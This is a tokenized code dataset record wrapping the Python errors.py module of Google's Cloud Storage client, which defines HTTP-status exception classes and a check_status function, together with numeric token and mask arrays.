14, 16577, 8, 3235, 29, 549, 9, 272, 2737, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 9, 272, 2243, 344, 275, 1709, 14, 2183, 480, 2510, 2870, 401, 988, 63, 1267, 29, 772, 12, 2500, 29, 549, 9, 272, 26994, 275, 1709, 14, 14640, 8, 885, 29, 17, 9, 272, 289, 7047, 275, 1709, 14, 7624, 360, 277, 297, 2500, 29, 549, 12, 10247, 29, 797, 12, 2407, 63, 354, 628, 17520, 4033, 531, 272, 25616, 275, 1709, 14, 7624, 360, 277, 297, 2500, 29, 549, 12, 10247, 29, 797, 12, 2407, 63, 354, 628, 5555, 1045, 278, 531, 272, 5664, 275, 1709, 14, 7624, 360, 277, 297, 2500, 29, 549, 12, 10247, 29, 797, 12, 2407, 63, 354, 628, 17726, 991, 531, 272, 10015, 275, 1709, 14, 3190, 8, 16461, 12, 2500, 29, 549, 12, 2307, 29, 549, 12, 2407, 63, 354, 628, 27256, 2285, 531, 272, 19841, 275, 1709, 14, 14640, 8, 2500, 29, 549, 12, 2307, 29, 549, 9, 272, 2909, 275, 1709, 14, 3190, 8, 6592, 12, 2500, 29, 549, 12, 2307, 29, 549, 12, 2407, 63, 354, 628, 17695, 30299, 2285, 401, 265, 63, 1807, 29, 992, 14, 3597, 63, 8084, 9, 272, 11437, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2307, 29, 549, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 199, 199, 533, 25762, 8, 992, 14, 1685, 304, 272, 5223, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 272, 410, 14976, 275, 1709, 14, 14298, 8, 1899, 12, 2407, 63, 354, 628, 24501, 531, 272, 410, 279, 415, 69, 275, 1709, 14, 14298, 8, 1899, 12, 2407, 63, 354, 628, 6821, 1192, 531, 272, 655, 878, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 272, 2909, 275, 1709, 14, 14298, 8, 6592, 12, 2500, 29, 549, 12, 2307, 29, 549, 12, 265, 63, 1807, 29, 992, 14, 3597, 63, 8084, 9, 272, 10015, 275, 1709, 14, 14298, 8, 16461, 12, 2500, 29, 549, 12, 2307, 29, 549, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 620, 8, 277, 14, 270, 14976, 9, 435, 298, 9626, 316, 298, 435, 620, 8, 277, 14, 32100, 415, 69, 9, 199, 199, 533, 3590, 3264, 8, 992, 14, 1685, 304, 272, 2737, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 9, 272, 2243, 344, 275, 1709, 14, 2183, 480, 2510, 2870, 401, 988, 63, 1267, 29, 772, 12, 3235, 29, 549, 9, 272, 312, 683, 275, 1709, 14, 2183, 480, 1387, 48, 401, 988, 63, 1267, 29, 22, 9, 339, 1021, 6288, 26, 267, 3376, 63, 354, 628, 2817, 8767, 2, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 357, 80, 32768 ]
[ 1639, 14, 697, 492, 1709, 199, 199, 504, 1504, 492, 13347, 1476, 792, 199, 199, 533, 6516, 316, 8, 992, 14, 1685, 304, 272, 1329, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 22, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1400, 12, 2500, 29, 549, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 340, 291, 14, 354, 587, 298, 16461, 298, 435, 291, 14, 1955, 199, 199, 533, 10319, 8, 992, 14, 1685, 304, 272, 4497, 275, 13347, 1476, 792, 480, 9410, 401, 3235, 29, 549, 9, 272, 730, 275, 1709, 14, 25197, 8, 885, 29, 16, 9, 272, 10015, 275, 1709, 14, 3190, 8, 16461, 12, 2500, 29, 549, 12, 2307, 29, 549, 9, 272, 19841, 275, 1709, 14, 25197, 8, 885, 29, 17, 9, 272, 3721, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 1165, 12, 2500, 29, 549, 9, 339, 1021, 6288, 26, 267, 3376, 63, 354, 275, 298, 3946, 7584, 2, 339, 347, 636, 2975, 721, 277, 304, 267, 2414, 495, 275, 334, 277, 14, 3349, 435, 3872, 298, 340, 291, 14, 3349, 587, 6899, 267, 4497, 495, 275, 620, 8, 277, 14, 3088, 9, 267, 4497, 495, 275, 7244, 1674, 904, 779, 3088, 495, 59, 73, 26, 73, 11, 18, 61, 367, 284, 315, 1425, 8, 16, 12, 3144, 12, 499, 3948, 267, 340, 291, 14, 466, 508, 378, 26, 288, 372, 2414, 495, 435, 4497, 495, 435, 298, 334, 6807, 10697, 10319, 2924, 267, 916, 291, 14, 466, 508, 413, 26, 288, 372, 2414, 495, 435, 4497, 495, 435, 298, 334, 13965, 24761, 1118, 2924, 199, 199, 533, 12625, 8, 992, 14, 1685, 304, 272, 4702, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 327, 11768, 26, 1852, 642, 756, 315, 9920, 272, 10166, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 7991, 9, 272, 19841, 275, 1709, 14, 3901, 8, 885, 29, 17, 9, 272, 10015, 275, 1709, 14, 3190, 8, 16461, 12, 2407, 63, 354, 628, 8022, 531, 327, 11768, 26, 2040, 2973, 1900, 780, 272, 4328, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 2322, 9, 272, 17663, 275, 1709, 14, 3190, 480, 1899, 401, 2500, 29, 549, 12, 2307, 29, 549, 12, 2407, 63, 354, 628, 388, 19577, 401, 265, 63, 1807, 29, 992, 14, 29148, 9, 272, 2737, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 9, 339, 327, 11768, 26, 315, 12441, 12, 5452, 8095, 402, 4136, 7664, 436, 892, 272, 1021, 6288, 26, 267, 3747, 63, 6314, 275, 661, 17952, 297, 283, 3257, 9538, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 620, 8, 277, 14, 17952, 9, 435, 298, 298, 435, 291, 14, 3257, 199, 199, 3, 1021, 18288, 8, 992, 14, 1685, 304, 199, 3, 258, 2771, 275, 1709, 14, 3190, 8, 1282, 9, 199, 3, 258, 410, 15796, 275, 1709, 14, 3901, 342, 199, 3, 258, 2909, 275, 1709, 14, 3190, 8, 6592, 12, 2407, 63, 354, 628, 10458, 531, 199, 199, 3, 258, 347, 636, 2975, 721, 277, 304, 199, 3, 260, 372, 620, 8, 277, 14, 439, 9, 421, 199, 533, 2876, 8, 992, 14, 1685, 304, 272, 5223, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 272, 536, 275, 1709, 14, 2183, 8, 988, 63, 1267, 29, 2194, 9, 272, 3031, 275, 1709, 14, 16577, 8, 3235, 29, 549, 9, 272, 2737, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 9, 272, 2243, 344, 275, 1709, 14, 2183, 480, 2510, 2870, 401, 988, 63, 1267, 29, 772, 12, 2500, 29, 549, 9, 272, 26994, 275, 1709, 14, 14640, 8, 885, 29, 17, 9, 272, 289, 7047, 275, 1709, 14, 7624, 360, 277, 297, 2500, 29, 549, 12, 10247, 29, 797, 12, 2407, 63, 354, 628, 17520, 4033, 531, 272, 25616, 275, 1709, 14, 7624, 360, 277, 297, 2500, 29, 549, 12, 10247, 29, 797, 12, 2407, 63, 354, 628, 5555, 1045, 278, 531, 272, 5664, 275, 1709, 14, 7624, 360, 277, 297, 2500, 29, 549, 12, 10247, 29, 797, 12, 2407, 63, 354, 628, 17726, 991, 531, 272, 10015, 275, 1709, 14, 3190, 8, 16461, 12, 2500, 29, 549, 12, 2307, 29, 549, 12, 2407, 63, 354, 628, 27256, 2285, 531, 272, 19841, 275, 1709, 14, 14640, 8, 2500, 29, 549, 12, 2307, 29, 549, 9, 272, 2909, 275, 1709, 14, 3190, 8, 6592, 12, 2500, 29, 549, 12, 2307, 29, 549, 12, 2407, 63, 354, 628, 17695, 30299, 2285, 401, 265, 63, 1807, 29, 992, 14, 3597, 63, 8084, 9, 272, 11437, 275, 1709, 14, 4626, 8, 2500, 29, 549, 12, 2307, 29, 549, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 354, 199, 199, 533, 25762, 8, 992, 14, 1685, 304, 272, 5223, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 272, 410, 14976, 275, 1709, 14, 14298, 8, 1899, 12, 2407, 63, 354, 628, 24501, 531, 272, 410, 279, 415, 69, 275, 1709, 14, 14298, 8, 1899, 12, 2407, 63, 354, 628, 6821, 1192, 531, 272, 655, 878, 275, 1709, 14, 5036, 8, 885, 29, 549, 9, 272, 2909, 275, 1709, 14, 14298, 8, 6592, 12, 2500, 29, 549, 12, 2307, 29, 549, 12, 265, 63, 1807, 29, 992, 14, 3597, 63, 8084, 9, 272, 10015, 275, 1709, 14, 14298, 8, 16461, 12, 2500, 29, 549, 12, 2307, 29, 549, 9, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 620, 8, 277, 14, 270, 14976, 9, 435, 298, 9626, 316, 298, 435, 620, 8, 277, 14, 32100, 415, 69, 9, 199, 199, 533, 3590, 3264, 8, 992, 14, 1685, 304, 272, 2737, 275, 1709, 14, 4626, 8, 2495, 63, 2131, 63, 525, 29, 549, 9, 272, 2243, 344, 275, 1709, 14, 2183, 480, 2510, 2870, 401, 988, 63, 1267, 29, 772, 12, 3235, 29, 549, 9, 272, 312, 683, 275, 1709, 14, 2183, 480, 1387, 48, 401, 988, 63, 1267, 29, 22, 9, 339, 1021, 6288, 26, 267, 3376, 63, 354, 628, 2817, 8767, 2, 339, 347, 636, 2975, 721, 277, 304, 267, 372, 291, 14, 357, 80, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0 ]
madhusudancs/test-infra
gubernator/third_party/cloudstorage/errors.py
147
3957
# Copyright 2012 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, # either express or implied. See the License for the specific # language governing permissions and limitations under the License. """Google Cloud Storage specific Files API calls.""" __all__ = ['AuthorizationError', 'check_status', 'Error', 'FatalError', 'FileClosedError', 'ForbiddenError', 'InvalidRange', 'NotFoundError', 'ServerError', 'TimeoutError', 'TransientError', ] import httplib class Error(Exception): """Base error for all gcs operations. Error can happen on GAE side or GCS server side. For details on a particular GCS HTTP response code, see https://developers.google.com/storage/docs/reference-status#standardcodes """ class TransientError(Error): """TransientError could be retried.""" class TimeoutError(TransientError): """HTTP 408 timeout.""" class FatalError(Error): """FatalError shouldn't be retried.""" class FileClosedError(FatalError): """File is already closed. This can happen when the upload has finished but 'write' is called on a stale upload handle. """ class NotFoundError(FatalError): """HTTP 404 resource not found.""" class ForbiddenError(FatalError): """HTTP 403 Forbidden. While GCS replies with a 403 error for many reasons, the most common one is due to bucket permission not correctly setup for your app to access. """ class AuthorizationError(FatalError): """HTTP 401 authentication required. Unauthorized request has been received by GCS. This error is mostly handled by GCS client. GCS client will request a new access token and retry the request. """ class InvalidRange(FatalError): """HTTP 416 RequestRangeNotSatifiable.""" class ServerError(TransientError): """HTTP >= 500 server side error.""" def check_status(status, expected, path, headers=None, resp_headers=None, body=None, extras=None): """Check HTTP response status is expected. Args: status: HTTP response status. int. expected: a list of expected statuses. A list of ints. path: filename or a path prefix. headers: HTTP request headers. resp_headers: HTTP response headers. body: HTTP response body. extras: extra info to be logged verbatim if error occurs. Raises: AuthorizationError: if authorization failed. NotFoundError: if an object that's expected to exist doesn't. TimeoutError: if HTTP request timed out. ServerError: if server experienced some errors. FatalError: if any other unexpected errors occurred. """ if status in expected: return msg = ('Expect status %r from Google Storage. But got status %d.\n' 'Path: %r.\n' 'Request headers: %r.\n' 'Response headers: %r.\n' 'Body: %r.\n' 'Extra info: %r.\n' % (expected, status, path, headers, resp_headers, body, extras)) if status == httplib.UNAUTHORIZED: raise AuthorizationError(msg) elif status == httplib.FORBIDDEN: raise ForbiddenError(msg) elif status == httplib.NOT_FOUND: raise NotFoundError(msg) elif status == httplib.REQUEST_TIMEOUT: raise TimeoutError(msg) elif status == httplib.REQUESTED_RANGE_NOT_SATISFIABLE: raise InvalidRange(msg) elif (status == httplib.OK and 308 in expected and httplib.OK not in expected): raise FileClosedError(msg) elif status >= 500: raise ServerError(msg) else: raise FatalError(msg)
apache-2.0
[ 3, 1898, 6029, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 199, 3, 1902, 4056, 503, 2478, 14, 1666, 314, 844, 367, 314, 2488, 199, 3, 2637, 4210, 3443, 436, 4204, 1334, 314, 844, 14, 199, 199, 624, 13266, 8142, 10533, 2488, 16920, 3261, 4882, 1041, 28154, 199, 363, 452, 363, 275, 788, 11626, 547, 297, 1779, 283, 1074, 63, 1205, 297, 1779, 283, 547, 297, 1779, 283, 19507, 547, 297, 1779, 283, 1173, 15190, 547, 297, 1779, 283, 17454, 547, 297, 1779, 283, 3364, 4709, 297, 1779, 283, 10870, 297, 1779, 283, 17692, 297, 1779, 283, 19382, 297, 1779, 283, 14612, 14928, 547, 297, 881, 1622, 199, 199, 646, 8809, 421, 199, 533, 4520, 8, 1726, 304, 523, 408, 1563, 1125, 367, 1006, 486, 1259, 5331, 14, 819, 4520, 883, 5992, 641, 598, 12500, 5366, 503, 598, 3298, 1654, 5366, 14, 523, 2104, 2436, 641, 282, 6770, 598, 3298, 3101, 1177, 1233, 12, 1937, 523, 4178, 921, 23826, 14, 3098, 14, 957, 15, 3494, 15, 4757, 15, 4443, 13, 1205, 3, 6807, 6021, 523, 408, 421, 199, 533, 19894, 14928, 547, 8, 547, 304, 523, 408, 14612, 14928, 547, 4293, 506, 4444, 379, 1041, 421, 199, 533, 31886, 8, 14612, 14928, 547, 304, 523, 408, 2856, 841, 2036, 2653, 1041, 421, 199, 533, 481, 7539, 547, 8, 547, 304, 523, 408, 19507, 547, 9296, 1133, 506, 4444, 379, 1041, 421, 199, 533, 3814, 15190, 547, 8, 19507, 547, 304, 523, 408, 1173, 365, 2575, 6876, 14, 819, 961, 883, 5992, 1380, 314, 5802, 965, 9158, 1325, 283, 952, 7, 365, 2797, 641, 523, 282, 20149, 5802, 2429, 14, 523, 408, 421, 199, 533, 21909, 547, 8, 19507, 547, 304, 523, 408, 2856, 7901, 2073, 440, 1911, 1041, 421, 199, 533, 2104, 10912, 547, 8, 19507, 547, 304, 523, 408, 2856, 13269, 2104, 10912, 14, 819, 22117, 598, 3298, 1833, 6528, 543, 282, 13269, 1125, 367, 5002, 14872, 12, 314, 4750, 2863, 1373, 523, 365, 7037, 370, 5315, 4983, 440, 6657, 3272, 367, 2195, 1145, 370, 2879, 14, 523, 408, 421, 199, 533, 21527, 547, 8, 19507, 547, 304, 523, 408, 2856, 13952, 6299, 1415, 14, 819, 1910, 11497, 1056, 965, 2757, 3086, 701, 598, 3298, 14, 819, 961, 1125, 365, 19762, 8860, 701, 598, 3298, 1890, 14, 598, 3298, 1890, 911, 1056, 523, 282, 892, 2879, 1526, 436, 7269, 314, 1056, 14, 523, 408, 421, 199, 533, 6378, 4709, 8, 19507, 547, 304, 523, 408, 2856, 841, 975, 4784, 4709, 1763, 12226, 1428, 461, 1041, 421, 199, 533, 7146, 547, 8, 14612, 14928, 547, 304, 523, 408, 2856, 2356, 6891, 1654, 5366, 1125, 1041, 421, 199, 318, 1104, 63, 1205, 8, 1205, 12, 1420, 12, 931, 12, 2323, 29, 403, 12, 326, 3085, 63, 2139, 29, 403, 12, 2396, 29, 403, 12, 13751, 29, 403, 304, 523, 408, 1799, 3101, 1177, 2004, 365, 1420, 14, 819, 3033, 26, 272, 2004, 26, 3101, 1177, 2004, 14, 1109, 14, 272, 1420, 26, 282, 769, 402, 1420, 24498, 14, 437, 769, 402, 14526, 14, 272, 931, 26, 1788, 503, 282, 931, 2403, 14, 272, 2323, 26, 3101, 1056, 2323, 14, 272, 3085, 63, 2139, 26, 3101, 1177, 2323, 14, 272, 2396, 26, 3101, 1177, 2396, 14, 272, 13751, 26, 2402, 2256, 370, 506, 10367, 16041, 24218, 340, 1125, 11058, 14, 819, 6218, 26, 272, 21527, 547, 26, 340, 13448, 3405, 14, 272, 21909, 547, 26, 340, 376, 909, 626, 1159, 1420, 370, 2187, 3181, 1133, 14, 272, 31886, 26, 340, 3101, 1056, 18590, 734, 14, 272, 7146, 547, 26, 340, 1654, 444, 24242, 68, 2005, 2552, 14, 272, 481, 7539, 547, 26, 340, 1263, 1163, 10537, 2552, 8920, 14, 523, 408, 523, 340, 2004, 315, 1420, 26, 272, 372, 819, 1499, 275, 661, 13495, 2004, 450, 82, 687, 4475, 10533, 14, 11017, 4788, 2004, 450, 68, 3134, 78, 7, 268, 283, 2042, 26, 450, 82, 3134, 78, 7, 268, 283, 2017, 2323, 26, 450, 82, 3134, 78, 7, 268, 283, 2364, 2323, 26, 450, 82, 3134, 78, 7, 268, 283, 8173, 26, 450, 82, 3134, 78, 7, 268, 283, 7426, 2256, 26, 450, 82, 3134, 78, 7, 450, 268, 334, 2062, 12, 2004, 12, 931, 12, 2323, 12, 3085, 63, 2139, 12, 2396, 12, 13751, 430, 819, 340, 2004, 508, 8809, 14, 1734, 25303, 1149, 26, 272, 746, 21527, 547, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 2707, 34, 22436, 26, 272, 746, 2104, 10912, 547, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 4609, 63, 13945, 26, 272, 746, 21909, 547, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 6780, 63, 8899, 26, 272, 746, 31886, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 6780, 1149, 63, 15167, 63, 4609, 63, 51, 619, 1311, 1976, 2617, 26, 272, 746, 6378, 4709, 8, 1328, 9, 523, 916, 334, 1205, 508, 8809, 14, 3593, 436, 650, 2036, 315, 1420, 436, 267, 8809, 14, 3593, 440, 315, 1420, 304, 272, 746, 3814, 15190, 547, 8, 1328, 9, 523, 916, 2004, 2356, 6891, 26, 272, 746, 7146, 547, 8, 1328, 9, 523, 587, 26, 272, 746, 481, 7539, 547, 8, 1328, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 6029, 4475, 3277, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 259, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 199, 3, 1902, 4056, 503, 2478, 14, 1666, 314, 844, 367, 314, 2488, 199, 3, 2637, 4210, 3443, 436, 4204, 1334, 314, 844, 14, 199, 199, 624, 13266, 8142, 10533, 2488, 16920, 3261, 4882, 1041, 28154, 199, 363, 452, 363, 275, 788, 11626, 547, 297, 1779, 283, 1074, 63, 1205, 297, 1779, 283, 547, 297, 1779, 283, 19507, 547, 297, 1779, 283, 1173, 15190, 547, 297, 1779, 283, 17454, 547, 297, 1779, 283, 3364, 4709, 297, 1779, 283, 10870, 297, 1779, 283, 17692, 297, 1779, 283, 19382, 297, 1779, 283, 14612, 14928, 547, 297, 881, 1622, 199, 199, 646, 8809, 421, 199, 533, 4520, 8, 1726, 304, 523, 408, 1563, 1125, 367, 1006, 486, 1259, 5331, 14, 819, 4520, 883, 5992, 641, 598, 12500, 5366, 503, 598, 3298, 1654, 5366, 14, 523, 2104, 2436, 641, 282, 6770, 598, 3298, 3101, 1177, 1233, 12, 1937, 523, 4178, 921, 23826, 14, 3098, 14, 957, 15, 3494, 15, 4757, 15, 4443, 13, 1205, 3, 6807, 6021, 523, 408, 421, 199, 533, 19894, 14928, 547, 8, 547, 304, 523, 408, 14612, 14928, 547, 4293, 506, 4444, 379, 1041, 421, 199, 533, 31886, 8, 14612, 14928, 547, 304, 523, 408, 2856, 841, 2036, 2653, 1041, 421, 199, 533, 481, 7539, 547, 8, 547, 304, 523, 408, 19507, 547, 9296, 1133, 506, 4444, 379, 1041, 421, 199, 533, 3814, 15190, 547, 8, 19507, 547, 304, 523, 408, 1173, 365, 2575, 6876, 14, 819, 961, 883, 5992, 1380, 314, 5802, 965, 9158, 1325, 283, 952, 7, 365, 2797, 641, 523, 282, 20149, 5802, 2429, 14, 523, 408, 421, 199, 533, 21909, 547, 8, 19507, 547, 304, 523, 408, 2856, 7901, 2073, 440, 1911, 1041, 421, 199, 533, 2104, 10912, 547, 8, 19507, 547, 304, 523, 408, 2856, 13269, 2104, 10912, 14, 819, 22117, 598, 3298, 1833, 6528, 543, 282, 13269, 1125, 367, 5002, 14872, 12, 314, 4750, 2863, 1373, 523, 365, 7037, 370, 5315, 4983, 440, 6657, 3272, 367, 2195, 1145, 370, 2879, 14, 523, 408, 421, 199, 533, 21527, 547, 8, 19507, 547, 304, 523, 408, 2856, 13952, 6299, 1415, 14, 819, 1910, 11497, 1056, 965, 2757, 3086, 701, 598, 3298, 14, 819, 961, 1125, 365, 19762, 8860, 701, 598, 3298, 1890, 14, 598, 3298, 1890, 911, 1056, 523, 282, 892, 2879, 1526, 436, 7269, 314, 1056, 14, 523, 408, 421, 199, 533, 6378, 4709, 8, 19507, 547, 304, 523, 408, 2856, 841, 975, 4784, 4709, 1763, 12226, 1428, 461, 1041, 421, 199, 533, 7146, 547, 8, 14612, 14928, 547, 304, 523, 408, 2856, 2356, 6891, 1654, 5366, 1125, 1041, 421, 199, 318, 1104, 63, 1205, 8, 1205, 12, 1420, 12, 931, 12, 2323, 29, 403, 12, 326, 3085, 63, 2139, 29, 403, 12, 2396, 29, 403, 12, 13751, 29, 403, 304, 523, 408, 1799, 3101, 1177, 2004, 365, 1420, 14, 819, 3033, 26, 272, 2004, 26, 3101, 1177, 2004, 14, 1109, 14, 272, 1420, 26, 282, 769, 402, 1420, 24498, 14, 437, 769, 402, 14526, 14, 272, 931, 26, 1788, 503, 282, 931, 2403, 14, 272, 2323, 26, 3101, 1056, 2323, 14, 272, 3085, 63, 2139, 26, 3101, 1177, 2323, 14, 272, 2396, 26, 3101, 1177, 2396, 14, 272, 13751, 26, 2402, 2256, 370, 506, 10367, 16041, 24218, 340, 1125, 11058, 14, 819, 6218, 26, 272, 21527, 547, 26, 340, 13448, 3405, 14, 272, 21909, 547, 26, 340, 376, 909, 626, 1159, 1420, 370, 2187, 3181, 1133, 14, 272, 31886, 26, 340, 3101, 1056, 18590, 734, 14, 272, 7146, 547, 26, 340, 1654, 444, 24242, 68, 2005, 2552, 14, 272, 481, 7539, 547, 26, 340, 1263, 1163, 10537, 2552, 8920, 14, 523, 408, 523, 340, 2004, 315, 1420, 26, 272, 372, 819, 1499, 275, 661, 13495, 2004, 450, 82, 687, 4475, 10533, 14, 11017, 4788, 2004, 450, 68, 3134, 78, 7, 268, 283, 2042, 26, 450, 82, 3134, 78, 7, 268, 283, 2017, 2323, 26, 450, 82, 3134, 78, 7, 268, 283, 2364, 2323, 26, 450, 82, 3134, 78, 7, 268, 283, 8173, 26, 450, 82, 3134, 78, 7, 268, 283, 7426, 2256, 26, 450, 82, 3134, 78, 7, 450, 268, 334, 2062, 12, 2004, 12, 931, 12, 2323, 12, 3085, 63, 2139, 12, 2396, 12, 13751, 430, 819, 340, 2004, 508, 8809, 14, 1734, 25303, 1149, 26, 272, 746, 21527, 547, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 2707, 34, 22436, 26, 272, 746, 2104, 10912, 547, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 4609, 63, 13945, 26, 272, 746, 21909, 547, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 6780, 63, 8899, 26, 272, 746, 31886, 8, 1328, 9, 523, 916, 2004, 508, 8809, 14, 6780, 1149, 63, 15167, 63, 4609, 63, 51, 619, 1311, 1976, 2617, 26, 272, 746, 6378, 4709, 8, 1328, 9, 523, 916, 334, 1205, 508, 8809, 14, 3593, 436, 650, 2036, 315, 1420, 436, 267, 8809, 14, 3593, 440, 315, 1420, 304, 272, 746, 3814, 15190, 547, 8, 1328, 9, 523, 916, 2004, 2356, 6891, 26, 272, 746, 7146, 547, 8, 1328, 9, 523, 587, 26, 272, 746, 481, 7539, 547, 8, 1328, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
